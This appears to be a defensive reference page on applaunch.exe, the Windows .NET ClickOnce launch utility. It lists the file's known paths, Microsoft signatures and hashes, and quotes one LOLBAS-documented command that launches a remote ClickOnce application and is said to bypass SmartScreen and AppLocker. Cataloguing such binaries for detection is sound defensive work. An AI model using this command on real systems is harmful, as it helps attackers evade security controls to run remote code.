Identifier / Programs / Windows
applaunch.exe
Microsoft .NET ClickOnce Launch Utility file version info (xCyclopedia)
LOLBAS AWL Bypass 1 ATT&CK technique 1 documented command 4 known copies with hashes
How applaunch.exe is abused
AWL Bypass T1127.002 Trusted Developer Utilities Proxy Execution: ClickOnce
-activateEach abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for applaunch.exe.
1 documented command
AWL Bypass T1127.002 Trusted Developer Utilities Proxy Execution: ClickOnce User privileges
Launches a ClickOnce application via Applaunch.exe. Bypasses SmartScreen and default AppLocker rules when the application is published as partial trust.
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Applaunch.exe" /activate "{REMOTEURL}#APPLICATION_METADATA_HERE"IdentifyThe command the identifier reads trips no Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for applaunch.exe, by Nathan Sawyer, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for applaunch.exe. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real applaunch.exe?
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\C:\Windows\Microsoft.NET\Framework\v4.0.30319\4 known copies
4.8.4161.0 built by: NET48REL1 · C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe · signed by Microsoft Windows
1830afacaa1f2cee9cb28918f9a0163e39f47b527b2cbaf62edbda54d6a8ac284.8.4161.0 built by: NET48REL1 · C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe · signed by Microsoft Windows
e759747d776ab3a306291617a47e8c7e8828441905560081028b95d84f2d24db4.8.4084.0 built by: NET48REL1 · C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe · signed by Microsoft Windows
3682f6c9357e653150b1b7a96c30347e1abfa368a356db7c65a4c805f4eeb25e4.8.4084.0 built by: NET48REL1 · C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe · signed by Microsoft Windows
dc5ac8d4d6d5b230ab73415c80439b4da77da1cfde18214ef601897f661abdacFrom the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.